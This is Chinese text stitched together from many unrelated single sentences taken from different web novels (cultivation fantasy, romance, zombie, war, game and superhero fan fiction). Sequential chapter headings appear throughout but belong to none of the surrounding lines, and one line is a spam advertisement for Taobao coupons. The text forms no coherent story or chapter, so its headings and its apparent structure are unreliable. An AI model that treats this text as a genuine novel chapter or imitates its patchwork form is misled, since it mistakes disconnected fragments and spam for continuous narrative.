众人尖叫着想要逃离这个地方,但是不管他们如何逃跑,最终还是会莫名其妙的回到这个地方。
“我勒个去,当然是见者有份喝粥!”萧大大一副吃货嘴脸,又看起了那透明的塑料杯来。
对于这些欧洲人来说,打不过投降是一件非常正常的事情。只要不助纣为虐,上面的指挥官在战后一般也不会为难这些人。
就在这电光火石之间,萧逸“呀”地一声,当场仰面飞身后退,正好堪堪躲过他这威力凶猛的一剑。
随着多玛姆的声音落下,一道道由黑暗能量形成的利刃,如雨般,洒向季末两人。
“这些东西还奈何不了我!”看着围向自己的数十个丧尸,季末自信的说了一句,指着面前只有数个丧尸的路,开口道:“从这里离开,其他的交给我!”。
李枫点了点头,他早就一眼看出来青木的修为仅仅是仙帝境第一次,杀这种人就仿佛杀一只蝼蚁一般,只是此刻李枫并不想与紫云飞族交恶。
苏菲亚只是去了趟厕所,结果回来的时候屏幕右侧那密密麻麻的牌子已然消失大半,剩下的战车甚至还没音羽的联队多。
在我心中那段不详的感觉越来越强烈,这一段路也因此显得格外漫长,等我一只手抓住对面的管壁时我的额头已经被汗水所填满了。
直到那天,宫无渊的生日,宫无廷给安排了一番之后,在宫家内,各自都慢慢送上礼物,表达了许多感言。
那强力热巴此时如一尊皮囊一般瘫软在沙子上,他翻着白眼,已经没有了一点生气,在他身子下,那些沙子还在颤动着,一点点的蚕食着强力热巴的尸体。
这个抵押物值多少钱方大志不知道,有什么作用他也不知道,只知道,肯定对系统很有价值,而且,只要双方平稳的渡过这10年,抵押物是要归还的,所以,系统肯定也占不到便宜。
第一卷 第30章 一线生机
听到这简单的两句话,老胡还有什么不明白的呢,再次看了看天壤和墨裳,见两人一个成竹在胸,一个乐的看戏的模样,叹息了一声,然后有些泄气的坐回了凳子上。
在今日之前,拔陵军已经成功劫掠三次,失败四次,最近一次就是三天前。
结果就是导致江姣,就在药房稍微逗留片刻,就急匆匆的回去了。
韦伯:这个世界级道具我能理解,但20是什么意思?难道是之中最强的20件?还是有别的什么意义?
“你真的要去?”个子倾长的宁元修进来,一眼就瞧见了马厩里究竟是个什么样的状况。
但没想到他刚一睡着便做了个噩梦,先是梦见了碎碎吃了一整个城市的人,被赶来的联盟军队杀死,然后就是自己的父母在沃土公司遭受多种折磨后双双自杀了。
显然这位卡斯夫人是认识马克西姆这个姓氏的,在确定了乔恩手上拿着的信件以后,她邀请他们三人进了屋,让他们先坐在客厅休息,丹尼斯·卡斯就在附近的一家超市工作,中午就会回来吃饭。
这并不是说双眼充血的那种猩红,而是感觉血气从他们的七窍之中所蒸腾出来的感觉。
“希望真的能增加寿命吧。”张土德在心里说道,虽然他知道阳寿丹制作的原料是阳年阳月阳日出生的人,但人又不是他杀的,与其死了白白浪费,还不如让他物尽其用。
“什么叫担心我的安全,我看你是担心我现在鼓捣你玩剩下来那些黑暗能量吧?”在听完古一的话后,帕奇不禁在心里嗤声念叨了一句。
但万磁王不同,作为变种人的巅峰之一,他同样也是地球‘超凡者’里最顶尖的人物,哪怕抛开能力克制,也不是张太白能匹敌的。
“迈维斯先生,那我们现在该怎么办?”想到这里,巴赫不由将目光投向帕奇,现在帕奇显然已经成为他唯一的救命稻草了。
当进去了一刹那,向老一惊,因为在自己的脚面遇到灵泉时,灵泉沸腾了起来。就好像刚刚烧开的开水一样,这让向老头大了起来。
他召开这次会议,可不是为了最终得出一个九界重合不算什么大事的结论,所以他必须据理力争。
“父亲,师尊,这是怎么回事?青云城发生什么事情了?”青云一边急切地说着,一边奔到了受伤最重的付信卓和雷凡身边。
“你不妨说说看你的猜测。”尼克弗瑞朝向娜塔莎探了探手,示意她继续说下去。
通道尽头,是一处看起来像水牢一样的密闭空间,不见天日,全靠周围墙上昏暗的几盏壁灯照亮着这里。
“其实你一直不明白,你的认真,恰恰就是你最大的美。何必妄自菲薄,男人或许都喜欢欣赏波澜壮阔的大海,但能让人内心宁静的,恰恰是山间的涓涓细流。”赵秦汉见我有些沮丧,于是说道。
看着天赐微笑的表情,四人都心凉了起来。看出这里面的事情的还有向老和唐嫣,他们也知道这里面的事情。看到天赐只喝一半,两人心里笑了起来,看来天赐还是要让他们一点教训,不会让他们就这样轻意的混过去。
“还不赶紧滚,也不看看这是啥地方,高级餐厅,岂是你这种下等人来的,晦气。”陈凯怒喝道。
好在纪慕依留联系方式的时候警惕,留下的是自己不常用的手机号,如果不想被这些人打扰的话,直接换掉手机号就可以了。
封印尾兽的幻龙九封尽会持续整整三天的时间,而且会消耗他们大量的查克拉。
一道道惨叫之声响起,黑色魔影在金光笼罩之下,表现的极为痛苦。
他不经她允许,直接握住她的放在自己胸膛上的手,他手心的温热瞬间蔓延至沈卿姒的手。
在唐三藏没有定下金箍棒的价位前,他们可不敢购买杨戬的三尖两刃刀。
天大亮唐研新醒来,陈悦却还在睡。他出房门,门口人一下把他围着求他给看病的。
放了一句狠话,欧阳南这才一瘸一拐的离开大厅,甚至连李傲欠款的事情都没再提。
合金4级的子弹,它对付这一些4星的飞禽怪物,又打的是眼睛,毫无压力。
谁只红鸾根本不把脉,而是站起身,手掌聚集元气,直接按在她的百会穴之上。
其实安亚奇的心里是一点都不想离开,自己舍不得这里。对这里有着说不出的感情,就是不愿离开。
第一卷 第31章 陆达想要结交
司徒玄拿下帕子,见血止住了,便拉她到水边,替她洗干净脸和手。又把帕子洗干净,晾在石头上。
风声肃杀,竹林起伏。人们长久地沉默僵持在宴席上了。气氛严峻至极,人们都仿佛被这个夜晚冻僵了。公主和崔悯等陪客们远远地眺望着这边儿,也觉得奇怪极了。
南宫倾城看到王冬没有被自己的气势压迫的退后,让她颇感意外,虽然她只释放了五成气势,但普通的灵者早就被压迫的索索发抖,浑身上下不能动弹,而对面的王冬好像毫无压力。
夜色深沉,一轮又圆又大的皓月升上半空,明亮如盘,皎洁如霜雪,照耀着九州大地。人们在各个地方都能举头望到它。真如古诗中形容的“空山新雨后,天气晚来秋。明月松间照,清泉石上流”了。夜景优美极了。
一道飞鸿劈下,雨前惨呼着摔倒了。人们吓得齐声惊叫。一道碧绿色的宝剑剑光从她头上劈下。劈下了珠冠,也斩断了厚厚的发髻,娇美的面容也被划破了,剑尖从她的额头到脖颈上划下了一条长长深深的剑痕。
若是没有意外的话,燕国太子此番来,是为了得到大夏的支持,和应顺燕国皇帝的意思,送燕国公主来和亲的。
江瑞天骨碌骨碌的转着灵动的大眼睛,最后才笑眯眯的点头:“想,大姐都不过来找天儿玩。”说罢,江瑞天就扑了过去,抱住江云瑶的大腿。
他戒掉了酒,又变成了以前的沈世林,国外的上市公司发展的很好,他有大半年待在国外,沈氏集团彻底奠定了在国外的基础,他根本没有时间想太多。
“我……我想想吧,春情你放心好了,我一定会求爹爹和祖母给柳姨娘一个清白的。”江云瑶犹豫了一下点点头。
元熹帝气得捂着胸口,脸色惨白,四肢冰凉,后退几步瘫软在椅上。他这辈子还未听到过这么恶毒冷酷的咒骂。
因为这是决斗场给他打造的刀,严格意义上来说,已经属于神器范畴了。
他能保证的只有自己的清白和自己旗下艺人的安全,其他的他不能管,也不想管。
第二局两边战队交换位置,fpx来到了胜率较高的蓝色方,如果这局比赛也被滔博拿下,那第三局几乎就没什么悬念了。
没有人赃并获, 再追究起来就不可能有结果了, 那他价值100金币的储物戒指直接打水漂。
“问呗,姑父又不是什么不开明的人,不过你可得收收你那性子,别整的妹妹没认成,再给人家吓到了。”林一凡在一旁给他出着主意。
“什么时候来的?”摘下了手套,白凡擦了擦脸上些许的汗水对着林一凡问道。
大部分原因是昨晚熬夜疯狂锻炼所致,少部分原因是被困荒岛的恐慌感。
这种目中无人眼高手低胸大无脑的人,公司里多的是,少一个清净一分。
这个词汇让包括管家赵金德在内的所有高层,都忍不住眼角抽搐,露出无奈之色,乃至隐隐有些不满,暗暗抱怨庄主对他们太不信任了。
“不是,你等会!这里有我妈什么事?”林一凡敏锐的捕捉到了他话语中的漏洞。
“哎,烟雨公主,你说谁没脸没皮呢?本特使可不是你说得这种人呢?再说了,上次本特使拼了命地把你救了上来,你还没有感谢本特使呢?”说着拓跋野拦住了慕容烟雨,双手环臂,居高临下地俯视着她。
下午只有一节大课,两个课时,只是因为这堂课规定的是口语练习,所以无人交流的纳兰若若直接趴在课桌上睡了,把午觉完美的补了回来。
“看来还要一阵子才能建好,夫人若是有需要,晨之可派人前来帮忙。”颜晨之说道。
夏时光言语吞吐,不知该如何跟大哥说,这种事他也没什么经验。
就让覃苏陪着一起,维恩当司机兼任搬运工,帮时贝贝把行李箱搬到了新生宿舍楼。
永恒也是看见夏时光后才确定,他一定是二弟,不然怎会长得跟玄家大少爷那么相似。
“月梅知错,任凭司徒姑姑发落。”如今到了这个境地,苏月梅觉得自己再去狡辩,只会让司徒雪对自己更是反感,与其如此,不如公开认错。
终于,覃苏没忍住,嘴角又狠狠抽搐了一下,连翻白眼球的欲望都没有了。
当下拖着有些狼狈的步伐急忙后退,韩冬的攻势中,透着杀意,阴十三明白,如果有机会的话,前者必然不会留手,对于韩冬心狠手辣的程度阴十三早便听说过。
“真是倒霉,果然有最顶尖的势力看中了这里!”一些武者面色阴沉的望着这一幕,很是不甘的道。
林尘解决掉了前屋的人,又跟着那人来到了后屋,直到那人从王二爷手中接过了盒子之后,林尘知道自己的机会来了。
第一卷 第32章 苏媚娘的奸计
不久之后,唐悠悠就下线了,心里还是喜滋滋的,不过眼前不是高兴的时候,刚才逞强分心和唐悠悠聊天,锯齿魔人的血条明显回涨了5%左右,这BOSS的回血速度让人有些蛋疼。
“轰轰轰!”大地被这些强大的技能,轰杀的扭曲一般,地面迸裂,土壤色变,尘灰满天。
齐银阳心道,看来这次雷霆宗对于天生也是志在必得,竟然下了这么大的血本!难道他们也是为了万佛灯?
“将军,将军,有消息了,有消息了。”霍青松正想着要不要出去走走,让心情放松或者可在想到什么主意。可就在这时,一头大汗的方哲跑了进来。
\t一进入酒吧就发现里面一片狼藉,桌椅板凳和啤酒瓶子飞得满地都是,还有不少穿着打扮怪异的青年男子身上挂彩,鼻青脸肿口鼻出血的不在少数,看到秦风进来,一个个神色不善地瞪着他。
苏时雨被抛弃,在外面摸爬滚打,活到这个份上,却不知道这世上还有一种人,叫做人贩子。
李觉深实在没有多说多解释什么话的心情,只摆了摆手:“你回去吧,别问朕,朕不想答。”说罢便径直回去了。
\t给李红坐护理的技师进来了,弯腰鞠躬,态度十分的职业。李红放下酒杯,在水床上躺下来,技师开始给她做护理,一边做一边询问,两人聊着聊着就把秦风给忘了。
“这只是刚开始而已。”姬皓月脸色很难看,同样的一个神体,一样的异象,但对方却发挥出来了远超他的威力,这对他的打击是最重的。
“主管,你少管闲事,这是我和誉恒跟他们的事情。”明瞳这时候的优越感极为明显,从鼻子里不屑的轻哼一声。
“我贺氏虽然落魄,但我爹已被赦免,府邸也被归还,家世尚可,至于人品方面,我不比欧阳公子差。
随后跟进的第一辆军用卡车上,一名日军中尉也看到了这一幕,直接命令停车。
此时,时间已经来到了傍晚,徐清风回头看了一眼身后的南京城,语重心长的道:“挡不住也得挡呀,我们身后就是南京城。
她攥紧双手,深吸一口气,慢慢起身后,将自己的荷包叠好,当作枕头让他平躺。
在没有接到命令之前,不可能因为一名军曹被狙杀,就停止冲锋。
说话的人,是申屠元老,他的声音依旧是不紧不慢,但是在这声音中,却带着巨大的自信。
秦朗是执行人,显然是知道的,否则,他犯不着跟自己起冲突,这对他来说没好处。
“我有我的办法,但这点我绝对没有骗你,秘密就在井下面。”孤狼极为肯定道。
寂静!沐血峰上瞬息一片寂静!没有人会想到变故来得如此突然。
锦隐走了过来道:“龙洛之强岂是你能想得但的,你还是回你的老巢去吧”。
我摇摇头,走过去给青玉姨翻身,按捏全身,手脚微凉,还好头顶跟胸口散出温温的气息,烫得我的手痒痒麻麻。
富川市红建集团的办公室,夏建半躺在沙发上,他面前的茶几上放了一杯刚刚冲好的速溶咖啡。
“传令下去,所有突破到第一步的强者,随时观察宗内情况,有任何变故立刻赶到我身边来!”艾伯亚给身后一名年轻的弟子悄声下令。
武伍在车上坐了一会儿,他猜不透王有财的意思,便拉开车门下了车,朝对面的一家KTV走去。他想喝杯酒,好好的考虑一下。
美景在前却来不及欣赏,刘星皓跟随白头鹰下了车,向着庭园深处走去。这座庭院里不见人迹,到处都空空荡荡的,不像是供人游玩的地方。
只因避雷金沙在今日午时过后会在这个拍卖场内进行拍卖,再加上古德前后又做了几天的宣传,所以即便很多人不是来专门进行拍卖,但也都想来看看避雷金沙究竟是什么模样。
另外一拨人马是玄古帮十一曜星将之东方青帝“木星大将”桑青,还有他手下的十五位杀手。
如同疾矢的云万花倒飞着,虽然被一物阻了一下,但还是飞出去了。
闻锋一脑袋冷汗,没想到自己一时嘴贱,竟然得罪了这么个睚眦必报的,看来做人要厚道。
举起手枪,还有最后的两颗子弹,他正要冲出去,忽然,只感觉背后一凉,宛若一道轻风拂过,一道人影如鬼魅般的从背后袭来,一掌劈在了的勃颈处。
祢衡的脑筋一阵眩晕。越是聪明的人,对这种是是非非越是较真。对中有错,错中有对。不同的立场就有不同的对错。这一下子就把祢衡牢不可破的是非观,给击穿了一个漏洞。
当一切讨论完毕后,调整后的作战命令马上下发到各师,要求他们可以集中一下兵力,攻打敌人的重要据点,所有主力团全部靠向敌人,起到牵制效果。
而亚里士多德在政治学中,将政体分为君主、贵族、共和三种政体及对应的僭主、寡头、平民三种反常政体。他则认为,法治的共和政体是最理想的。
即便是方鸿自己,也没有把握能够抵抗这种奇怪的毒素。至上境界的巨头都怕,更何况是普通九元境界的修炼者了。
在平时,叶尘只会一笑置之,但此时,叶尘却心头巨震,不,现实没有被改变白花儿的声音令叶尘仿佛从地狱重新回到了天堂,心中生出无限的光明。
资料片上说得遗迹够神奇的了,但是当班车穿过海底隧道到达遗迹外部时,闻锋还是为大自然的鬼斧神工所震惊。
第一卷 第33章 真男人干啥都快
但是在桥上的痛疼感是那么的清晰,是那么的真实,或许这就是念桥吧。
“什么事情?”叶舒妤双手搭在他的肩膀上,大眼睛一眨不眨的看着他。
空气中仿佛凝滞了一般,紧闭双眼的刘,慌乱的诺玛,以及一个又一个悲愤的船员,但是下一瞬,预想之中的枪声却没有响起。
这次飞出去的变成了王墨,土盾脆弱的像白纸,护体灵力也被打散了。
随后就是一阵抽气声,林依依盯着长相俊美的赛格斯眼睛眨都不眨,嘴巴张的能吞下一个鸡蛋。
这杨华悦心里到底在想什么?她在顾家这样的算计,到底是为了什么?
出现的灵兽鳞甲毛羽无所不有,它们竟然也可以操控这神奇的能量,只不过使用的很少,大多数的兽类依仗强横的身体对人类进行击杀。
而此时莫铭已经很惊讶了,他想过商子宇很厉害,但是没有想到他如此厉害,竟然连橙将的丧尸都可以解决掉。
“那也不一定,我瞧着你脖子上面挂着的那颗珠子就不像是幻影。”瑾竹说道。不知为何,从看到那颗珠子开始,瑾竹就觉得有一种很亲切的感觉。
“你放心,我是不会拿我的孩子的性命开玩笑的。”庄忠仁说完,将钟如水手里的解药抢了过来。
在我坚持要出院的情况下,医生也只好放弃我钱包里的毛爷爷,眼巴巴的看我离去。
忽然,只感觉周围安静了下来,急忙睁开眼睛,不知何时父亲夏海昊已经站在面前,一旁的王觉犹如是个乖孩子一样,急忙站起来行礼。
在来的路上,杨剑也知道了这次任务的具体内容——日本宫本家族的大本营,不过杨剑人生地不熟,一句话要对方说上几遍自己才能完全听懂。
见到妖兽出现,赵铭等人急忙隐匿好身形,不能妖兽发现,以免打草惊蛇。
“这是什么鬼东西?”嘀咕一声中叶拙眉头微微皱了起来,不怪他如此反应,传讯方法比之以往相里兀更玄妙了许多,但传来的这道讯息实在让人有些摸不着头脑。
“灵水,记录行进路线。”傲龙说了一声,耳环发出一道光,投射出一个光点。“只要多走几条长廊,耳环就会绘制出我们行走的路线图,到时候根据路线图我们就能更准确的定位了。”傲龙只是一瞬就想到了方法。
到底走了多久了?骆天自己也不记得了,自从吞下第二条紫芒纹后,自己就没停止过。可是,已经走了这么远的路,却还没有抓到第四条紫芒纹。
此时妖兽身处半空,无法改变姿势,杨剑左移半步,同时备前长船长光衡于身侧,狠狠地切了下去。
话音刚落,他便捧着金子狠狠咬了一口,见金子变形了,他这才将金子收入怀中。
“今天老婆不打算复婚,那我们改天再复婚也行。”爵之渊好脾气的哄着蓝星星。
“一餐一条鱼我已经很厚待你了,别太过分。”荀倾也吃的差不多了,放下筷子,伸手就要去抓妙妙,这只肥猫,难道都看不到自己胖成球了吗?
不得不说,每每到这种时候,曲清染还是很羡慕那些所谓的反派和妖族的。至少在面对类似寂殊寒这种欠扁的人种时,是不需要顾忌的太多的。
月意思忖片刻,似乎不无道理,赫连无双的事情对她打击沉重,她想在外面散散心才回府也不是不可能。
“那好吧。”江霄云和蓝七七似乎有事情办,蓝星星也就没有再劝阻,目送她们离开。
周凡面无表情,身形不动,他仰首看了看天空,袍袖一挥,起了一道遁光,霎时横过千丈距离,到了那高峰之前。
“其实直升飞机也不算很贵,为什么我们国家不多买点来用呢?”米嘉问。
同样的,站在周通旁边的方恒也是暗道一声,心里暗暗庆幸,好在自己加入了散修联盟,不是加入散修联盟的话,恐怕今天的事情,真的就是难以善了。
“福伯,过来!”皇甫夜声音虽然有点不大高兴,却还是把福伯叫了过来。
柳雅在原地站了一会儿,直到看着麦柯卓大步的走开了,骑上大马头也不回的先走了出去,才慢悠悠的走向马车,轻盈的一跳,跳了上去。
体内的经脉经过不断的打磨,变得更加稳固,泛着剔透的光泽,灵力在其内流淌着,精纯而又温和,泛着星辰般璀璨的光亮。
战弩在经过沧千澈多次的改良之后,已经可以简单的折叠起来带在身上,随时拿出来用一用,威力惊人。
第一卷 第34章 胜却人间无数
蜈蚣精一声大吼,整个身形压制撞击上去,知秋一叶也无力挣脱这蜈蚣精的束缚,心中却也是害怕万分,紧张的闭上了双眸。
“耙子你放心,这对我来说未必是件坏事。”苗诀杨胸有成竹的说道。
听着王磊的话。我无奈的叹了口气,转头看着苏含。苏含脸色有些苍白,刘鸿还在电话那头继续说着各种煽情的话。
大宝把煎好的『药』,倒出一大碗,给他爷爷端了过去,放在土炕上。然后扶他爷爷坐了起来,转身把一大碗『药』端给他爷爷,他爷爷用颤抖的双手接过一大碗『药』“咕咕咚咚”都喝了。
“太行山吗”杨天心暗自的将这个地名记下,荒域有数不清的名山大川,这太行山,杨天隐约间听说过。
它们的主人发生什么事情了,它们无从知道,但是它们有一点共同的感觉,那就是院子里多了几份危险!因而它们一个个都绷紧了神经,随时准备自卫或逃跑。
苗诀杨躲在一个墙后面,大气不敢出,要是被十四哥发现自己就死定了,刚才仅仅那一下照面,真气的反弹已经让苗诀杨受了一点伤。
见到杨天过来,宁长表情变得凝重,“宁长,那个家伙是你说的杨天?”在宁家的阵营有两个生面孔,其一人淡然道。
先是一声巨大的响声,然后红鳞巨蟒便发出了一声痛苦的嘶吼,他那几颗锐利的尖牙,被尽数折断了,嘴巴也被反震之力给震裂了,鲜血如注。
“哎,这怎么行呢,没事,我记着”耙子阻止了李天地的举动,现在必须要早点离开,不然不知道会出现什么事情呢。
昨天晚上,王令附身在卓异体内利用天道法术的画面也被监控视频完美录下,众人虽然看不懂这施展的到底是什么法术,但是光是看【天罡锁血阵】晦涩复杂的阵法符号一个个也都是震惊不已。
原剧情里的她也是这样,为了考古,真的不顾大反派的威胁。但她为了男人,甚至可以不要自己的命。
其实不仅仅是他,国内的网民都差不多,所以此时在网上是很安静的。
黄雯秀顿时满头大汗,立刻惊醒,就好像在这短短的时间里已经做了一个非常可怕的梦一样。
宋婉晴的提议其实很简单,就是尽全力地帮助郑昱提高自身实力,尽可能的拖延郑氏族长的选举。
“八十就八十吧!”王蛮倒是挺大方,取了三瓶药,随手扔了八十块灵石给这汉子。
但是在发觉俞新民的意图后,郑昱决定拍下佛头,特别是当他看到闫晓峰也加入到竞拍的行列中时,更是有了一个新的主意。
不过他的话也就这样了,实际上王简现阶段还真没资格学这套空明幻虚剑。
让蓝衣者值得庆幸的是街道上的景色虽然已经变得他不认识了,可街道周围的建筑与当年相同,蓝衣者依稀能够认出来一部份。
诚实地说出自己的不足,这么做的话,在大多数情况下都会被谅解的。不过现在明显不行。
武植现在就是要尽可能的解开金莲心中的枷锁,至少让她能安然挺过这段时间,到时候报纸一旦面世,场面就能反转了。
岚大人本就是太子的人,此时已经坐到了太子身边。秦桧宋巩面对这么多皇子还有公主比武植都要紧张,经武植提醒后,他们才想起配合领导阿谀拍马。
卡莲不由得转过脸。这些人为了逃避每天的艰辛而追寻着过去。卡莲明白他们的艰难,既然这样,为什么不奋起,为什么选择继续做奴隶。只能在回忆寻找逃避之地,用毒药伤害自己的身体。
武植和雪儿不急不躁的喝完交杯后,武植终于忍不住的露出了猥琐猴急的笑容。
钱汝君每次拿出来的东西,大概都是不愁卖的商品。以前,没有这些商品的时候,他们没有觉得有什么不方便的地方。
锤剑碰撞的刹那,铁塔大汉的锤身诡异的发出一阵高速震荡,金芒飞射四溅。一波波震荡之力,不仅将陆随风这流星陨石般一剑的威势不断削弱,同时还不可思意的形成了一种锐利的反击之势。
云无影像似有先知先觉一般,以脚尖为轴心,顺势回旋,手中剑指划出一道半圆弧线,凌厉的弧光仿佛要将后面的空气切成两半。
触景生情,几乎就要拿出怀中那装着妻子照片的挂坠缅怀一番的米斯特,被自己惊出了一声冷汗,不寒而栗之余,他也警觉起自己身在战场的事实。
没办法,刚才为了稳住军心,鹰少可是大声呼喊着要去拿毒蛇激素的,此刻这里发生的大爆炸,那些被毒蛇伤到的士兵,难免有些混乱了起来。
第一卷 第35章 野山参火锅
于是,她跑了,没有回基地,而是藏了起来。但是没过多久,便被基地的人抓了回去。
“不过,因为跟错了主公,所以三十年后,会死于沙场。”谢信却是在这个时候话锋一转。
“有事?”凌烈欣喜于她主动打来电话,看看刚刚睡下的郭梦瑶想起身可是手却仍然被她抓着。他不敢大声讲话怕吵到郭梦瑶。
公孙清雪一番感慨之后,随即又是向着公孙来仪问起了许多令人哭笑不得的问题,对此公孙来仪也是甚感无奈,但是由知道老妈那寻根究底的性格,所以公孙来仪也是不得不无奈的温声对其解释着。
“放心吧兄弟,等我胜利归来。”易阳笑了笑,将沙漠摩托车发动开,猛的加大油门,沙漠摩托车如箭一般的窜了出去。
姚忆听完后,那是惊讶至极,他一时间还沒有想明白这是怎么一回事。
才子想想,哈顺格日丽在那做美容,自己真的从来没问过,就回不做美容吧?
“七班长,找两个士兵去砍些树木,弄个担架!”易阳用水壶将手上和龙骨刀上的血迹洗净后,冲七班长吼了一嗓子。然后从兜里掏出一根烟,坐在地上抽了起来。
姚忆这一下子被李市长‘弄’懵了,他比较惊奇的是,李市长是怎么知道他在这里的,这李市长又出了什么事,让其如此惊慌失措。
“虚伪!”看着年轻人做作的样子,易阳感觉作呕,于是将头转向别处,不去看年轻人那张虚伪的面孔。
而信使,也不会知道,自己所卧底的势力,哪些人是自己的同伙。
怕挨打,这话是不敢说出来的。见道士已然召出了大葫芦,李初一赶紧纵身越上,找了个舒服的坑盘膝坐下。
意境之力再次展开,不同于之前的,这一次苏扬仅仅是幻化出来残阳斜月,接着,苏扬微微低头,双掌缓缓的合拢在一起,片刻之后,合拢的双掌再次缓缓张开,一个狂暴的能量球居于掌心中央。
好在这股煎熬没有让鲁鲁修难受太久,终于,远处的黑暗出现了一条凌乱的火光,早已准备好的林堡立即打开城门派出了一百人的士兵作为接应部队,这里面可没有什么民兵,鲁鲁修可不希望出现什么岔子。
至于那些玩家,下意识的想要跟过来,不过还没走两步,就是立马被剩余的落云城守卫给挡住了。
他丝毫不怀疑,如果蒋冰倩现在出现面前,刘芙蓉直接会把对方撕碎。
一道白色的锋芒在叶鸦的身上闪过,随后几道剑锋落在了叶鸦的身上,穿透了叶鸦的身体,叶鸦随着剑锋的力道,摔向后方的叶迅,当场身亡。
到这时,顾南终于发现邪神殿的最大作用:那就是把这个世界上所有的东西,翻译成自己能理解的游戏名词。
火枪射速慢的问题,一交战就被魔多掌握了,所以魔多的前线指挥官也能够抓住这样的机会,有些时候甚至故意放些疑兵在前面吸引火力。
门派的暗斗在场的多多少少都有耳闻,平日里他们做的也都是这些见不得光的事情,所以这些消息并不值得他们如何震惊。
彼时,所有人都认为艾斯会直接杀了他。因为在族法的规定里面他这样对艾斯的态度按照法律是要被直接处死的。
推荐一个淘宝天猫内部折扣优惠券的每天人工筛选上百款特价商品。打开省不少辛苦钱。
因为有一天晚上林若凡的嫂子做了一个梦,梦中有一个道士将林若凡的使命一五一十得告诉了她。
如真哪里晓得啥守住?他一个三四岁奶娃娃,真要能管住一帮十来岁的男娃,真是要笑掉人大牙。
所以季棠棠还是决定等明天自己去找找工作,先不要告诉顾辰逸。
宋族长望着宋老汉叹气又叹气,宋老汉脸上未免有些挂不住,额上皱纹更深,啪嗒啪嗒抽着烟,一言不发。
这时候,镇上的杏花都开过最盛的日子开始谢了,但山沟里的杏花开得正好,远远看上去像是山沟里笼罩着一层粉白、粉红的轻烟。
这些人中即便是在顶尖的高手,在妖界中也不过是强壮一点的蚂蚁罢了,像秦烈这种在他强大的气场下,居然还可以面色冷静,不禁心里多了几分戒备。
“好好好,有卫少做你的后盾,刀山火海也不觉得苦。”汪涵宇调侃了一句。
要死,也要带上这个卑微的人类一起死。雪狼将身子窝成一个圆球,腹中稍稍用力,雪狼身上所有的皮毛都化作钢针一般朝着贺兰瑶的方向袭来。
当年,宁浅儿抵挡住天道雷霆,突破通幽之境时,竞然引来千年难得一遇的心魔劫。
见状,黎兮兮也不勉强,独自在一行人会面坠了几日,见谢辞同同何臻一起行走,果然是回南疆路线,而且路上所遇的魔修并不多,这才悄然离开。
也就是因为心有不甘,权许雷在面对许阳时,总是下意识的选择了最强势态度面对,使他们两位正副队长,经过了十五个月的磨合,依然尿不到一个壶里。
第一卷 第36章 陆达前来拜访
他并非是要自吹自擂,而是回想起了那位白发老者,应当是传说中的剑尊,如今或许叫剑仙了。
在盛北洲关上门后,回到客厅,看到姜亦玖淡定地坐在那里吃着水果。脸上不见半点紧张。
“真想不到,嫂子这么能吃辣。”叶秦说着,继续吃着自己的番茄锅。还是这个好吃。
名门、百花村、月光神殿等帮众将一辆辆铁甲投石车推了上来,开始调试位置。
晚上又恰逢谷雨灯会,无数戏班子当街表演,百姓里三层外三层围得水泄不通。
宽敞典雅的厅堂在灯火的照耀下如同白昼,宋北桥与李行舟并排坐在主位上。宋远与李峰、李洛分坐两旁。几人虽然在闲聊,可李洛却是时不时地看向门口,似乎在等待着什么。
秦风带着秦长生和秦铁蛋余昔三人到了酒吧门口,目睹了里面发生的场景,实在是哭笑不得。这么点屁事,居然闹出这么大动静,搞得如此惨烈,这纯属荷尔蒙作祟,吃饱了撑的。
“怎么会这样?”吕香儿很是吃惊,同时心中也开始疑惑起来,便向吕洪追问当时的情景。吕洪点了点头,便慢慢地讲着当时的情况。他想让吕香儿也一同来想想,究竟是有了更强的人窥视着吕家还有人再暗中帮助着吕家。
陈琅琊笑容鬼魅,就像是一个宣判死刑的地狱杀手,审视着恶魔之手,那几道狰狞的刀疤,让他带着一丝凝重,这个家伙,绝对不是寻常的杀手,能够让人在其脸上留下这么长的刀疤而不死,这,也是一种境界跟本领。
出门一看才知,原来是两个士兵因口角,气得到外面比赛。这事也惊动了赵城主与段日举及巴根。发现原来是雪山天隐手下两人因睡觉打呼噜而拌口角。
“你现在写已经来不及了,大哥教你一个法子,你附耳过来。”王平安勾勾手指道。
这里既不象妖界那样有取之不尽,用之不竭的低阶妖族可供驱使,也没有其它可以用来替代的奴隶种族。
“恩,只是怎么也不愿意相信赵爷爷怎么会做这种事情。”陈贤其实已经相信了老爹的话,但是心中却又有些抗拒这个让人感到心寒的实时。
“傻丫头,两光年的距离,你想怎么跳?跳断腿也不能跳出两光年去呀,呵呵。”陆云摇头苦笑说。
虽然只是表面上的实力,龙昊收回目光,他的嘴角微微一勾,至少也让我见识一下CCG的辉煌吧。
“妹妹,那我们就此别过了,一路保重。”仙儿抓着赵紫曦的手道。
在返城路上,姜城主接到一个更让他感到恐惧的事,守城总长谢兵因追查儿童被掏心之事也发生了同样的结果;车犁最可疑。白晰的皮肤,深邃的眼睛,瞳孔的眼色难于捉摸。真有点像守魔中的雪山天隐,哲国的赵华。
“别乱说了,好好做你的生意。”王薄接过四儿递过来的银子说。他现在只想赶紧把他娘的病治好。
“援军来了!援军来了!”玄甲军欢呼雀跃,士气大涨,绝望与疲惫顷刻间烟消云散,骑手们个个眼放金光,喜形于色,有如出笼的猛虎一般,亮出寒光闪闪的牙齿,提枪策马,奋勇向前,将对方噬咬成片,寸骨不留。
要是不知道情况的外人,还以为许世是他的亲孙子,而她是捡来的呢。
但是评奖之后,立即跌入谷底,这个操作实在是太过明显了,让一些就算是不懂的人都一眼看穿了,所以让金鹰奖的名气瞬间跌落了很多。
他们不是不想自爆,换几个垫背的,只是有姜火在,完全能护住风雪客栈的化圣们。
只见凤君鸣向着唐开宇一抛,那散发着微微金光的云心便向着唐开宇而去。
一个吻直到简迦南喘不过气的时候才结束,简迦南靠在顾墨城的怀里喘的不能自己,可又不想让司机大叔听见只能咬紧牙关。
看了半天,林豆豆算是明白为什么明明说是相机却长得和墨镜一样了。
同时,更有不少人,看到角落堆满了人,嗖嗖嗖地直接窜上了二楼。
没了军费士兵们吃什么,穿什么?破旧的武器怎么办?还有力气抵挡魔兽洪流的冲击吗?
虽然不知道应龙是怎么做到这件事的,但是不得不说这种体验还真的非常的不错。
刚才那一番对话其实也是在求援,相信同僚们已经从通讯器中听到。
平时扣钱他不会看,但是今天这个,扣款之后马上发来一条会所的广告。
窗帘被“唰”的一声拉开,五彩斑斓的光斑透过玻璃窗户照到了包维为的脸上。
看店人听到包国维的话,恭敬的连木盒子都一齐从柜台中拿了出来,还用一块绿色的布帕轻轻擦了擦镜片。
